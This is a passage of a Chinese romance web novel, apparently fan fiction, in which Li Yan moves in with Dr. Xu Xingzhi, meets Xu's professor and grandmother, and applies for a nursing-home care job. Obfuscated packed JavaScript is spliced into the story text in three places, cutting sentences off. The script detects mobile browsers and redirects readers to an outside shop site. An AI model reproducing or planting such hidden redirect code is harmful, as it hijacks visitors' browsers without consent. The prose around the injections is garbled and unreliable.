许行之在楼下等的时候并没有坐在车里,而是就这么站着等李炎,他知道父子俩可能还会说一些话,李炎从楼梯上下来经过自己的时候停都没停,直接奔着车的副驾去了,许行之这才跟了上去,上车之前抬头往窗户那看了看,夜晚没开灯什么都看不到,但他记得老李对他说的那番话,只有对李炎更好,才足以回报这份“撒手”的父爱。 两人开了一路夜车,回到许行之家的时候天已经快蒙蒙亮了。 有两只猪是开了门后好一会儿才出来的,肥牛和金针菇一脸谁吵老子睡觉的表情,毛肚根本就没出来,看到是许行之和李炎回来了,它俩先是蹭了一圈李炎,再来蹭的许行之,弄得他还有点儿不解。 李炎直接把许行之推进了他卧室里,说这会儿还能睡个三四个小时,他可是要上班的人,可李炎正摊开箱子想把衣服往次卧里放的时候,许行之又窜了出来,硬是拉着李炎的手回了主卧。许医生这会儿困得眼睛都几乎睁不开了,一句话没说,直接把李炎撂倒在了床上,李炎想起来换个睡衣他都没让,直接把手臂横在李炎的胸口,李炎笑着摇了摇头,心里想着,许医生在撒娇呢,还没想到下一句话,许医生就把他掰成了侧躺,直接往怀里塞着,还伸了一条腿箍住了李炎的腿,抱了个实在。李炎也困,直接放弃挣扎了,就这么脏兮兮地在许医生怀里睡吧。 再醒过来的时候,许行之已经出门了,还是在卧室门上给自己留了个便签贴,他突然想起来之前放在裤兜里叠好的纸条,却忘记了到底是哪条裤子,不过也大概率被洗衣机弄碎了,感慨自己不小心的同时,他把门上的这个摘了下来。 我的大漂亮: 早餐已采买,共消费19.5元, 午餐还请自理,切勿食用速食食品, 为避免暴露性格,森林人正在陆运中,不日将到达。 晚餐自制(我来做)还是外食,一切听安排。 祝拥有愉快的一天。 你的大聪明 ps:密码775885 李炎满脸满眼都是笑,他把这张便签叠成了小船,从行李箱里拿出了之前许行之给他的一桶棒棒糖,扔了进去,伸手往桶的最深处掏了掏,拿出了许行之家里的钥匙。在之前离开这里的时候,李炎足足挣扎了一晚上要不要把钥匙还给许行之,他其实都拿出来了,放到了西服旁边,临走拿包的时候又把钥匙顺走了,他已经当时忘了细节是怎么想的了,但心里就有一个声音告诉他,即使许行之真的不再来找他了,他也有一个理由可以再约他见上一面,但幸好,没到那一步。 他不是第一次来许行之家里了,可这会儿才真正放松下来,目光所及之处不再有那种“担心打碎”的小心翼翼,而是觉得真正接纳了这个地方,也被这个地方真正认可了,他没有选择去客厅的卫生间洗澡,而是自然而然地从次卧里拿出许行之给他买的那一套奶黄色的装备,直接去主卧里的浴室,许行之第一次清醒地吻他,就在这里,也就是在那次之后,许行之向他真正表露心迹,一切真像梦啊,玄幻、太玄幻了,他实在是没想到,许行之这颗恒星,真的会停留在自己身边。 到餐桌边的时候,李炎才明白刚刚在便签上的775885的密码是什么意思,一张银行卡放在豆浆的边上,可以看出这张卡用了挺久了,有效日期上面的颜色已经被摩擦掉了一些,李炎先是翻了个白眼,谁家银行卡密码会和手机尾号设个差不多的,然后就笑着骂了一句许行之,之前念叨他的时候也只是纯念叨,只想让他花钱有点数而已,怎么就当真了呢,李炎摇了摇头,这大聪明估计真的被大漂亮下了迷魂药了,怎么这么容易就缴械,一点儿挣扎都没有呢。 早饭过后,李炎开始收拾衣服,本来是想把自己衣服都放进次卧的,可看许行之早上那个黏黏糊糊的样子,估计自己在次卧呆的时间也不多,于是索性就理了一场大的,他把许行之衣柜里秋冬的衣服都挪到了次卧那,再塞上了他的,到时候天冷了天热了都不太需要大型收拾,他可觉得自己太聪明了。 许行之回来的时候,李炎正在厨房里忙活,这次没敷衍他做疙瘩汤,认认真真煲了个椰子鸡汤,许行之看到台面上有个空了的椰子壳的时候,倒吸了一口气又笑了出来,大漂亮的手劲儿可真不是盖的,这玩意可不好弄呢。 看到许行之探了个脑袋,大漂亮就开了嗓,“回来了啊,再等会儿就能吃饭了。洗手去。” 许行之听见了,背着手没动。 “洗手去啊,发什么愣呢?” 许行之皱着眉舔了下嘴唇。 啊,骚呢,李炎看明白了,上去拽着人领子就往下一拉,啃了人嘴角一口。 “行了吧?可以去洗手了吧?” “不够。”许行之还是摇头。 “我警告你啊,别贪得无厌啊。” 许行之这会儿才憋不住笑了出来,从背后拿了一束花给他。 “这次真的是玫瑰,”许行之认真地说,“我问那小哥了,他说这叫卡普奇诺。” 李炎挑了挑眉,有点惊讶。 “我问了他,花语是什么,”许行之低下头来和李炎对视,嘴角也挂着笑,“他说——是温柔的爱,不期而遇的幸福。” “人没问你别的?” “问了,”许行之轻轻咳了一声,“问我要联系方式。” “嗯?”李炎觉得这一把玫瑰还是烧了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338583|199286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。敢情这小哥以为许行之对他不期而遇呢。 许行之觉得好笑,捏了捏李炎的脸,“人家说以后想要什么花可以提前在手机上预定。” “噢。”李炎把花抱了过来,这会儿又觉得这玫瑰不烧也罢。 “橱柜的最下面有个花瓶,你可以拿来用,我以前插拼的积木假花,”许行之顿了顿,“就是这花只能放厨房,猫闻了啃了可能都不太行。” “噢。”李炎背过去的时候才满足地笑了起来,他不想让许行之太得意忘形。 吃饭的时候顾飞打来了电话,李炎看了一眼许行之,许行之就起身准备回卧室了,李炎都没注意电话接起来了,也跟着起身抓住了许行之的手说了句“哎我不是这个意思,你呆着就行。”被顾飞听见了。 “喂?”李炎点开了免提,眼神盯着许行之,意思是让他别乱跑。 刚刚还想问前天晚上怎么回事的顾飞,转了个话头,“在哪儿呢?” 李炎心里骂了一句操,上来就来了个最难回答的问题。 “那个……你猜。” 许行之在一边都快憋不住笑了,他都不知道顾飞这钢厂小霸王面子这么大,厂花见着他都不敢撒谎,李炎就伸手怼了他一下。 “刘帆都找上你家门儿了,还打电话来问我你怎么不在。”顾飞说。 “啊?上我家门我怎么不知道。” “是啊,你怎么不知道啊?”顾飞揶揄着。 “呃我……” “啊,因为没这回事儿啊,”顾飞笑了笑,“你到底在哪儿呢?” 李炎咽了口唾沫,顾飞太贼了,一个试探能弯十八道,“在人家里呢。” “谁家啊?哪个人啊?” 顾飞肯定开的也是免提,李炎都听见蒋丞的笑声了,连带着自己这边的许行之也一起在笑,接着李炎拿着手机也开始笑,笑得都快说不出话了,许行之先是握了一下李炎的手,然后把手机拿了过来。 他说:“在我这呢。” “好嘞。”顾飞清了清嗓子,“那没事儿了。” “昨天刚把人请来的,还没缓过来劲儿,过两天请你们吃饭。” “行,听您安排许学长。” 挂了电话后,李炎就在那扒拉着碗里的椰子鸡,时不时挠挠头。 “怎么了?”许行之问他,“不想和他们碰头?” “不是,”李炎啧了一声,“你不懂。” “不懂什么?”许行之吃了口饭,“不懂你对我见色起意?” “我操……你能不能不要这么直白……” “别怕,我也是。” “许行之!!” 一顿晚饭两个人吃得跟十个人似的闹腾,脚底下还有三只猫来回窜,李炎被许行之抱起来去洗澡的时候毛肚还跟着,许行之用脚把它蹭出去了,关上门的时候还对毛肚说了句“小猫不宜”,李炎觉得许医生的精神状态也挺值得担忧的。 终于折腾完两人躺在床上的时候,许行之把绒毯往李炎身上拉了拉。 “热。”李炎说。 “着凉了该拉肚了,”许行之没理他,一直盖到胃的上面,“盖好。” 等着空调温度终于舒适了,两人又抱在了一起。 “许行之?” “嗯。” “你工资卡给我了,怎么买的花?” 许行之笑得都快抽了,这会儿问这个问题,煞风景啊。 “绑手机了啊,现在又用不到卡。” “你就纯哄我开心呗?” “你开心吗?” “开心。” “那我不花了,等你以后给我发零用钱就行。” “不要,麻烦,我单纯开心一下就行了。” 许行之刮了一下李炎的鼻子,“这周末去看奶奶?” “好啊,”李炎轻轻叹了口气,“不知道她会不会喜欢我,我要不要先把头发染回来?” “不用,我喜欢的我奶奶肯定喜欢。” 33. 第33章 终于给三只猫都梳完毛了,也把衣服都理好了的时候,李炎接到了老李的电话,他有点儿意外,他爹应该没这么快就想着要过来才是。 “喂,老头子,咋啦?” “你一张嘴就蹦不出个好屁来,叫声爸能给你嗓子眼儿齁死。” 李炎心里骂了句操,嘴上到底克制住了,“爸。” “啊,”老李有些不习惯李炎的突然顺从,“那什么,没什么事儿,问问你在干什么。” “在家呢,刚收拾完。” “你……”老李有些犹豫,但还是说出了口,“还工作吗?” 李炎就知道,老李打过来无非几件事,还活着没,有没有饭吃,还干不干活儿了。 “瞧你说的,我不工作吃什么喝什么”李炎虽然这两天一直家里忙活,但心里也始终有件事悬着,就是得找份工作,不能老在家里呆着,问许行之的话肯定是不介意也随便他,但他自己有数,“这两天一直忙活着收拾,差不多就要开始找起来了。” “有什么方向吗?”老李关切地问起来,想了想又加了一句,“汽修店效益还行,也别太着急了,找份自己喜欢的合适的,啊?” “嗯,你别操心了,我这边安顿好了会跟你说的。” “老子知道你能吃苦,但你也别太辛苦,大城市压力大,找工作这事,让小许给你把把关。” “知道了,”李炎心里暖,却还是嘴硬,“别啰嗦了,汽修店你该盘走盘走,家里也收拾起来,早点过来。” 老李哼了一声,“好不容易过几天清净日子,你别催我。” 李炎笑了笑,他知道他爸是什么意思,守着汽修店,李炎就永远有退路,没真正安定下来,他爸是不会过来的。两人又扯了几句,难得都是互相说了再见才挂的,李炎坐在沙发上,对着有阳光照进来的阳台伸了个懒腰,思绪开始乱飞了起来。 找工作啊……自己能做什么呢? 这儿的汽修店肯定不会要他这个年纪的小工了,再去给人试试理发?宠物美容?这儿可不比钢厂那片儿,只要活儿好就能有顾客的,之前去买菜的时候有路过几家宠物店和理发店,里边儿的等级制度还挺明显的,而且自己也没有相关的职业资格证,美发这块儿也没有过系统的学习,李炎不禁叹了口气,想到了赵建明的那句“要发展就要规范”,他突然还觉得挺有道理的。 许行之下班回来的时候,李炎正坐在餐桌上,一边翻着手机,一边拿了笔在纸上记着点什么,听见声儿了就抬起了头看他,“回来了啊?今天没做饭,上外面吃行吗?” “行啊,我刚刚就问你了,做好几天饭了,累坏了该,怎么不回我消息呢?” “研究呢,有点儿复杂。”李炎说了后又低下了头在记东西。 许行之歪着头看了看,有点好奇,先去把包放好了,洗了手才走到李炎的旁边,探了头看他在干什么,“写什么呢?” “找工作呢,”李炎头都没抬,还是在手机上划拉,“哎我以前怎么不知道有这么多手机软件可以找工作啊?说还能和老板直接聊,是真的吗?” 许行之笑了笑,他知道李炎在家里呆着只是暂时的,让这个心高气傲的大漂亮当一只笼中鸟,别说李炎不会同意,许行之自己都觉得可惜,他知道李炎的价值不止于安身一隅,可能开始的时候会辛苦一些,但以后说不准他也能成为某个行业的翘楚,万事认真的人,总有机会发光发亮。 “不知道,有的是真的吧,不过网上聊天还是得小心,”许行之其实也不清楚,他才是没找过工作的那个,“反诈意识必须强烈。” “那肯定,我又不傻。”李炎把手机一关,“今天就到这吧,吃饭去?” “好啊,想吃什么?” 李炎坏笑着走到许行之身边,用极尽诱惑的姿态勾住了许行之的脖子,在他耳朵边吹了口气,“客官有什么想吃的吗?” “你要是不想出门,我们就叫外卖。”许行之直接抓住了李炎的屁股捏了一把,羊入虎口,虎没有不张嘴的道理。 “别别,我就是逗逗你。”李炎赶紧放了下来,去卧室里换了衣服,又速度跑到了玄关处换好了鞋。 吃饭的时候,李炎问许行之觉得他能干什么,问了之后李炎才发现是白问,这人觉得自己什么都能干不说,一点儿社招的经验都没有,一路过来都是饭追着他跑,许行之还反过来问他理论上不都是这样么,气得李炎想直接把他面前的饭拿过来,让他尝尝普通人找工作的滋味。 但后来许行之说,在追求些什么的时候,他还是有点儿经验的,李炎以为他要说哪个学术理论难点,还是病情发展有了什么新的突破,没想到这人说的却是自己,他说目前为止这辈子最难追的就是李炎了,李炎问他呢,还目前,是不是以后也有打算追别人的计划,他说如果有李炎二号的话可以考虑一下,一圈圈绕下来,李炎实在是斗不过聪明人,是脑子也转不过来,嘴也没他利索。 今儿出来吃饭的时候俩人都没开车,饭后也就顺便在街边散散步,两人牵着手在路灯照下来的树影斑驳里走,已经接近夏末了,盛烈的暑气已经消了不少,晚上的风还带着一点点凉。 “明天早上先和我去趟学校?”许行之捏了捏李炎的掌心,“然后我们再去看奶奶。” “去学校干嘛?” “有份文件要交给老师,还有就是,”许行之顿了顿,“我老师也想见见你。” “见我???”李炎惊讶地停住了脚步,声音也跟着响了起来,“我有什么好见的。” “你不想去就不去,没事儿。”许行之笑了笑,他真觉得无所谓,本来自己在老师眼里就挺有个性的,何况他最不想为难的就是李炎。 “我不是不想去,那教授……说的话我能听懂吗?” “他又不是外星人。” 李炎噗地一声笑了出来,“行。那就行。” 在第二天踏入学校的时候,李炎才真正感受到电视里说的“高等学府的魅力”,地上细腻的柏油路干净得都看不见灰,就算有车从身边驶过也是慢慢轻轻的,学校大门也好、老校门也好,四个大字让站在地上的人都仰之弥高,身边路过的同学有的独自一人、有的三五成行,有些骑着自行车飞驰过他们身边的时候,还会有清脆的铃声响起。他们路过有人在诵诗的花园、走过有人脸盖着书躺着的草坪,道儿两边种着高高的杉树,有些湖石就放在教学楼口,还有无尽夏花丛里偶尔窜出的猫……李炎觉得这里太好了,这个景象简直超越了他对“名牌大学”四个字的想象。 到许行之导师办公室门口的时候,李炎拽着许行之的手不让他敲门,深呼吸了几下后才松开了,许行之亲昵地刮了一下他的鼻子,让他别紧张,他导师是学院里出了名的好脾气。 真正见到导师的时候,李炎都磕巴得说不出话,只自我介绍了一下是李炎,就站到了许行之的侧后方,导师看着他们俩的样子,笑了笑,考了考许行之李炎这个行为代表着什么,许行之没回答,却让老师别再逗他了。 “小伙子,我现在算知道行之为什么愿意和你异地恋了。” 李炎一下子脸就红了,他在许行之导师面前不敢发一言。 “你和我们都不一样,”老师笑得很慈祥,语气也很和蔼,“你没有学术的框架和需要置身事外的职业需求,你的一切都是真实的,热的,活的。” 李炎不好意思地挠了挠头,“教授,那个,说实话,我听不懂您说什么,但我觉得你们很伟大,因为你们的存在,人们也许就能少受一些苦,这点我是办不到的。” 老师指了指李炎,对着许行之笑了出来,“你看看,还嘴甜。” 许行之也跟着导师笑。 临走的时候,导师从柜子里拿了一支狼毫笔给李炎,说第一次见面也没有准备礼物,希望这支狼毫笔在李炎日后觉得心烦气躁的时候,给他带来一些平静,又说这里不比钢厂那边简单,有什么需要帮忙的,随时找他开口,李炎看了看许行之,许行之对他点了点头,才双手捧着接了过来,再三向老师道谢。 本来导师要留二人午饭,许行之说赶着去奶奶那儿,导师就没再留,就让两人没事也过来坐坐,尤其提醒许行之带上李炎,说他很喜欢和这个小伙子聊天,许行之笑着点了点头,说一定。 再次坐上车的时候,李炎长叹了一口气。 “累了么?”许行之问他。 “不是累,”李炎用手搅着额边的发,“就是觉得太神奇了,我从来没想过能和教授说上话。” “和教授说话的感觉怎么样?” “紧张,”李炎坦白说,“太紧张了,我觉得我说什么都不好。” “你什么都不说,我老师就挺喜欢你的了。” “不会吧,”李炎倒吸了一口气,“你们到底有多枯燥啊?” “做研究就是这样的,”许行之启动了车,“但幸好我有你。” 李炎挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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哪有这么凑巧,许行之几不可闻地叹了口气,但没有继续尝试,反而配合起奶奶来,“是鱼汤吗?” “是啊,你最爱吃的胖头鱼汤,奶奶还给你加了豆腐。” “谢谢奶奶。” 这会儿奶奶正好往李炎在的方向瞧了过来,“这是你同学吗?今天来家里玩?” “是啊,我同学。”许行之回过头对着李炎看了看,点了点头。 李炎也把东西放下了,走到了奶奶边上蹲下,“奶奶,我是李炎。” “好哇好哇,难得我们行之带同学来家里玩,以前可从来没有过的,你喜欢吃鱼吗?” “我特别喜欢吃鱼,就是家里不常做。”李炎回答着。 “那你一会儿多吃点,啊。” “好嘞。” 奶奶又转过了头去,把许行之也往边上带了带,“你怎么没告诉奶奶是个女同学呀?这么好看还,你是不是早恋了?” 许行之刚刚还有些不是滋味儿,现在一下却笑了出来,李炎也跟着捂着嘴不敢笑出声,“奶奶我没——” “早恋了也没关系,就是小姑娘太漂亮了啊,你得有点危机感,但不能耽误人家学习,知道吗?” 李炎对着许行之用口型又重复了一遍,知——道——吗—— “知道了奶奶,不会耽误学习的。” “你爸那个木头,整天钻研伦理哲学,一点浪漫细胞都没有,你可不能学他。” “哎,好好。”许行之笑着又叹了口气。 奶奶就这早恋和鱼汤的问题,又和许行之李炎说了一会儿,两人一会儿演着相敬相爱的早恋小情侣,一会儿又猛夸鱼汤好喝,给奶奶哄得一直在笑。 可老人的精力终归有限,也没太久就感觉困了,许行之就又扶着奶奶去上了个洗手间又给奶奶擦了擦胳膊腿脚的,就把他奶奶哄睡着了,李炎看着他这一套动作,觉得应该是做了很多次了,才会这么熟练。 临走的时候,许行之又去医生办公室问了下奶奶的情况,李炎就坐在护理站旁边的空位上等他,看着走廊玻璃展示柜里的一些内容,旁边又树了个护理科普的易拉宝,李炎突然觉得,人老了能在这也算是个好的栖息地了,但这种规模的,怕也只有大城市才有。 回到车里的时候,李炎问了问许行之奶奶的情况,许行之说现在还维持现状,但身体机能已经不如以前好了,还是需要有人不断地带着他奶奶走动走动才行,疗养院虽然条件不错,但如果要照顾到每个老人,的确也是吃力的,许行之能理解。 李炎想了想,抿了抿唇,刚刚的科普易拉宝边上还有一块。 “我刚看到这边在招护理员,我有点想试试。” 34. 第34章 许行之看着李炎沉默了两分钟,皱了皱眉说了句,“会挺辛苦的。” “我知道。”李炎点了点头。 “护理员和护士不一样,”许行之慢慢地说着,“尤其是老人,还可能会很脏。” “嗯,那个招聘广告牌上写了,”李炎回忆着,“说因为大多护理老人,所以需要能吃苦耐劳,不怕脏活儿的,而且男士优先,我有优势呢。” 看着李炎嘴角上挂着的笑,又说着自己有优势的样子,许行之又伸手蹭了下他的脸颊,心里是万分不舍得的,但还是选择了鼓励,“好啊,如果想好了,咱就去试试。” “我以为你不会同意呢。”李炎系安全带的时候说。 许行之看着他笑了笑,摇了摇头,没说话,也系上了安全带。 “之前你说在钢厂那边让我养你,我到这了你怎么不说你养我这种话啊?”李炎还是没忍住,问了许行之。 许行之还是笑,还是不说话,正打算起步呢,他家的大漂亮直接把安全带解了,他才又拉回了手刹,转过头看着李炎,“嗯?” “啧,你装什么傻,说话呀?” “说什么?” “为什么不说养我?” “你说的啊,”许行之摆了一张无辜脸,“说我太直白了,要收敛收敛,所以吧,”他又挑了个眉,“这种话还是少说,怕人不珍惜。” “哎你这人,”李炎瞪起了眼睛,“怎么这么没劲呢!” 许行之也解了安全带,右手覆到了李炎的后脖子那,又自己撑起来了些,凑到了李炎面前亲了他一口,“没劲吗?” “你别混淆视听啊,问你呢。” 许行之笑叹了一声,“我说我养你,你能答应吗?” “不能。” “那不得了。” 李炎不说话了。 “我知道,你什么事儿都能做好,但就是……”许行之话头停了停,“舍不得你辛苦。” 李炎摆了摆手没当回事,“而且如果真的能在这里做护理员的话,我们也可以时常见着奶奶吧,”这是李炎想来这里的第二层意思,“她一个人在这里,光有肥羊陪着,也挺孤单的。” 这是许行之没想到的,李炎居然把只见了一面的奶奶考虑了进去。 “你不用——” 许行之的话刚说出来,李炎就打断了他,“我不用顾及你,奶奶平时也有很好的照顾,所以我只要考虑自己就好了,又要说这些,是吧?” 许行之看着李炎没说话,在等他的下文。 “咱不是一家人呗?”李炎斜楞着眼睛看他。 一股陌生又亲切的暖意缓缓在许行之的胸口充斥着,他看着李炎的眼睛无比肯定,“是。” “许行之,我警告你啊,”李炎突然又严肃了起来,“我知道你认识这里的医生,但你不许给我放水开后门啊!” “好,我保证。” 李炎这才拿出了手机,把早已拍下来的那块易拉宝的照片拿出来仔细研究了一下,这家疗养院找的护理员也分了等级,持资格证的是暂时不指望了,自己只能应聘个实习岗位,能不能留下来还得看实习期的表现,易拉宝的最下方是一些应聘要求,李炎一条条地念着,许行之一边开着车,时不时给他说明一下相关要求的原因和目的,李炎点着头在手机备忘录里记下了。 大漂亮还挺好学,许行之有些意外,他本来以为李炎在学习上没什么耐心呢。 奔波了一天,两人没出去吃饭,回家找了冰箱里的速冻饺子下了吃,许行之还是没让李炎洗碗,他说李炎以后这双手以后有大用处,家里的这些琐碎就放着他来做,李炎一开始没答应,直到许行之说自己平时不是写东西就是敲键盘,手指手腕以及各个手臂肌肉都得不到充分的运动,他才应下来,但在看到许行之背过去的时候带了个笑,还是觉得被许行之摆了一道。 饭后李炎想找点资料写点东西,许行之就带着他进了书房,这间房只有李炎吸尘的时候进来过,因为桌上的资料有的写着“保密”、书架上的书不是和心理学有关就是他看不懂的英文,他总觉得这地方不能随便出入,直到今天许行之把书桌上的东西整体地往旁边一挪,拿了个新的笔记本和透明笔杆的水笔给他的时候,他才明白许行之是什么意思,他竟然要自己坐在书房里写。 “你不用书桌吗?”李炎转过头看着许行之,眼睛里有些试探。 “现在不用。” “噢,那你要用的时候告诉我。” 许行之挑了个眉毛,就说了声好就退出去了。 李炎发现这透明笔杆并不是普通的黑色水笔,笔帽是旋拧开的,打开了后露出了个银白色的钢笔头,他先是在桌子上找到了一张明显是许行之用来打草稿的A4纸,划拉了两下,手感还真不错呢,学霸用的工具就是不太一样啊。接着他就专注地对应着护理员的招聘要求开始查起了资料,从护理员需要具备什么样的知识、以及日常需要做什么、注意什么都查了一遍,越查越心凉,这这这,这哪是护理员,这简直是护理百科全书。 许行之切了个苹果端了进来,看见李炎愁眉苦脸的样子,就把小盘子放到了桌上,手撑着桌子在李炎背后看他写了什么,李炎回过头,特别泄气,“我觉得我可能没戏了,要求太多了。” 这好像和许行之了解的不太一样,只是实习岗位的话,应该没有太多要求才是。 许行之拉了李炎起来,先是抱了抱他,然后自己坐上了椅子,又把李炎放到了自己腿上坐着,许行之的手从李炎的腰那边穿过去,拿起了李炎写的笔记和他的手机比对了一下,许行之皱起了眉,这网上的资讯还是信不着啊,这哪是实习岗位的护理员要求,这明明是中级岗位的护理员要求。 “你这资料不太对劲,明天上班了我去问问护士。” 李炎吞了口唾沫,让许行之去问护士,那不是暴露了许行之身边有朋友想做护理员吗,许医生的朋友……想当护理员,会让他丢份吗?有些事儿,碰上许行之,李炎就会不知所措。 “你的斜方肌开始紧张了。”许行之冷不丁地从背后说了句。 李炎打了个激灵,跟被电了一样,“啊?” “想啥呢在?” 真是讨厌啊,一点都瞒不过去,李炎心里打着鼓,却不敢说,怕许行之乱想。 “怕别人说我闲话啊?”许行之抱住了李炎的腰,脸贴在了他的背上,“怕给我丢人?” 李炎叹了口气,算是承认了。 “咱不是一家人呗?” 得,自己放出去的子弹,打回了自己的脑门,许行之把他说的话给撂回来了。 “护士也会干脏活累活,但从来没有医生瞧不起他们,你知道为什么么?”许行之没等李炎回答,就继续往下说了,“因为在生命面前,这两个职业是队友,包括医院里的护工、保安、保洁等等,所有的这些才能构建起一个庞大的、完整的、能够拯救生命的医疗系统。” 李炎听得有点入神了,点了点头。 “在生命面前,职业只不过是分工而已,没有贵贱,只有一个极为单纯的目的,就是救人。” 许行之的声音从背后绕进了他的耳朵里,李炎情不自禁地握住了环着自己的手,如果说以前对许行之感受到的更多是他专业与学术上的优秀,那这一刻,李炎醍醐灌顶,在需要冒尖拔尖的领域里,他终于明白许行之不争不抢就能获得荣耀的根本原因,是他这个人本质上就是优秀的、优异的,还有看待一切平等的善良,甚至可以说,有着神佛一般的慈悲。 “你真的……”李炎不知道用什么词,才能将这股即将满溢而出的心绪表达出来。 “嗯?” 李炎转过头吻了一下许行之的嘴唇,“我竟然之前还想着做护理员会不会给你丢人。” 许行之眉毛挑了一下,“感谢你即将为我国的医疗与养老事业做出贡献。” 李炎刚刚还充满感性的情绪一下就破功了,笑了出来,“哎,老子会不会应聘不上啊。” “应该不会吧,你不是有优势吗?”刚刚还环着李炎腰的手往下探了探。 “我操!”李炎一惊,“你他妈发情不用预热的?” 许行之鼻子蹭了蹭李炎的背,学着他享受时的样子哼哼了两声。 “这他妈……”李炎两手抓着桌沿,想要站起来,却被许行之牢牢扣住了,“可是书房。” “书房怎么了,”许行之问他的声音里带着些哑带着笑,“书房完了还可以去厨房。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338585|199286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你有……”李炎觉得屁股有点儿被硌到了,“大病……” “你给我治。” “……我不会。” “你太会了。”许行之在他背后闻了闻,“嗯……香。” “变态!” 肥牛溜达进来了,跳上了书桌不小心被颠了下去,又溜达了出去,毛肚又来了,站在桌角对着俩人喵嗷了一通又走了……金针菇探了个脑袋被一声喊吓走了。 三只喵汇聚在阳台的时候,此起彼伏地对着外面叫着,不知道是在替人喊救命,还是在怀念绝育前的曼妙时光。 第二天许行之给李炎发消息说晚点回来,如果饿的话让李炎先吃,不用等他,李炎就问他是不是要加班还是什么,许行之没回,李炎觉得他应该是去忙了,就自己溜达出去随便吃了点东西,回来的时候三只猫对着他齐声喊,他跟发号施令一下喊了一声“跑!”,就自己先窜到了厨房拿出了三只猫的透明碗,三只猫就颠颠的都小跑了过来,在自己的腿边来回蹭,还一个接一个地喵着,其实仔细看,这三只透明碗是有区别的,有一个有两道纹路,还有一个颜色比较浅,在看过许行之分装了之后,李炎也从来没弄错过。 三猫一人都吃饱了,人在沙发上看着电视消食,三只猫就在客厅的不同角落里开始洗脸,这天李炎一天都没开空调,一阵风透过阳台吹进来的时候,他才反应过来,天气有些转凉了,不知不觉,从盛夏入了秋,这两个多月的起起伏伏,抵得上他之前好几个年头了。 正感慨呢,门开了,李炎就从沙发上起来去了门口,许行之把车钥匙往门口的柜子上一放,李炎才注意到他手上还有个购物袋,就顺手接了过来方便许行之换鞋。 “晚饭吃了没?”李炎冲着客厅的洗手间问,许行之正在里头洗手呢。 “吃过了,”许行之回到了客厅解衬衫的扣子,“你吃了吗?” “吃了,三只猪也吃过了。” “本来以为不会那么晚的,但这个患者情况有点复杂,多花了点时间,”许行之呼了口气,“我去冲个澡。” 李炎点了点头,又冲着许行之喊了一声,“衣服等会儿我一起洗,你挂那儿就行了。” “知道了——”许行之也喊着回他。 许行之擦着头发出来的时候,看到购物袋还完完整整地躺在沙发上,就坐到李炎身边,其实他看出来了,李炎在等他护理员的资料,但十分难得没有催他,许行之也就装傻,“干嘛呢?” “瞎忙呢。”李炎玩着爱消除,但根本就没想,瞎划拉。 没过多久李炎的爱心就用完了,他把手机放到了茶几上,对着许行之没好气地说,“你故意晾着我是吧?” 许行之就笑,也不回答,把毛巾给李炎,“去,挂好。” 李炎刚要发作,但看着许行之胸有成竹的样子,就耐着性子把毛巾挂了回去。 回来的时候,许行之已经拿出了购物袋里的东西,竟然是一个平板和一支笔。 “实习的护理员主要还是跟着学习辅助为主,没什么难度,但脏活累活多,需要一个适应过程,”许行之看着李炎慢慢说着,“这我不太担心。但是如果要升到初级或者中级护理员,是需要考试的,而且也得有相关工作经验年限才行。” 李炎咽了一口唾沫,听到考试他就有些害怕,从小到大,自己就没考明白过啥。 许行之又继续说:“资料今天人说回去给我整理下,晚点发我邮箱里,所以我下班后就去给你买了这个。” 见李炎没说话,许行之伸手去握了握他的手,“别紧张,有我呢,我和你一起学。” “啊?”李炎怀疑自己听错了。 “明天整份简历,我再帮你看看,先投了,实操经验得跟上。”许行之没搭理李炎的惊讶,自顾自地说着。 李炎啧了一声,“哎不是,你考这个干嘛啊?你们心理学界没别的需要你忙活的了?要过来和我抢饭碗了?” 果然,谁都不服,咱就服这个大漂亮。许行之笑得都不行了,“就是学,我不考。” “不考你学它干什么?费那劲。” 这话许行之就不爱听了,伸手捏了捏李炎的鼻子。 “自己的宝贝,还是得自己疼啊。” 35. 第35章 本来面试李炎还挺紧张的,但当他真的站到那位中年女护理长面前的时候,没想到更紧张的却是她,反复问了李炎好多次,确定真的要来做实习护理员么,一会儿担心李炎年纪不小了要从头做起会有难度,一会儿又说他们这分早晚班,李炎一一应下来之后,又开始和李炎说起初工资不高苦活累活都多等等等等,说到后面李炎都笑了,他也不避讳,直接问护理长怎么把这么多丑话说在前面,这样还能招来人么。 大姐也是个实在人,叹了口气说真的难招,有些人来几天就不来了,大多数人做一个月拿完工资就跑了,别说留下的人少,来应聘的都没几个,更别提男士了,说到后面简直是对着李炎倒了不少心里话,说如果没考虑好的话就真再考虑考虑,年轻人选择多,不一定要来做这个。 李炎也直接和大姐说了自己的心里话,说自己学历不高,也没什么技能,之前是个修车工而已,来这个城市不久,真没啥能挑的,而且看到了招聘广告上护理员是有很明确的晋升机制,现在开始的话应该也不算太晚,自己是想好了才来的。俩人聊着投缘,大姐说她这边觉得行,就问他什么时候能来上班,李炎说随时都可以,大姐就他们这边还需要做背调和体检,等全都弄完了就来上班就行,李炎连连点头说好。 